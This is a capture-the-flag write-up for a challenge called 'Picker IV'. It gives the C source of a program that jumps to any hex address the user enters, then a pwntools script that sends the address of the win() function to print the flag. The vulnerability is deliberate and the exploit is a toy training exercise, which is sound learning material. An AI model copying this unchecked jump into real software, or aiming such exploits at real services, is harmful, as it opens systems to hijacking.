Picker IV

Contents

Source
Solution

Source

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void print_segf_message(){
  printf("Segfault triggered! Exiting.\n");
  sleep(15);
  exit(SIGSEGV);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

Solution

#!/usr/bin/env python3

from pwn import *

exe = ELF("./picker-IV")
context.binary = exe

def conn():
    if args.REMOTE:
        r = remote("a",122)
    else:
        r = process([exe.path])
    return r

def main():
    r = conn()
    r.sendline(b'40129e')
    r.recvuntil(b'You won!\n')
    flag = r.recvlineS().strip("\n")
    print(flag)

if __name__ == "__main__":
    main()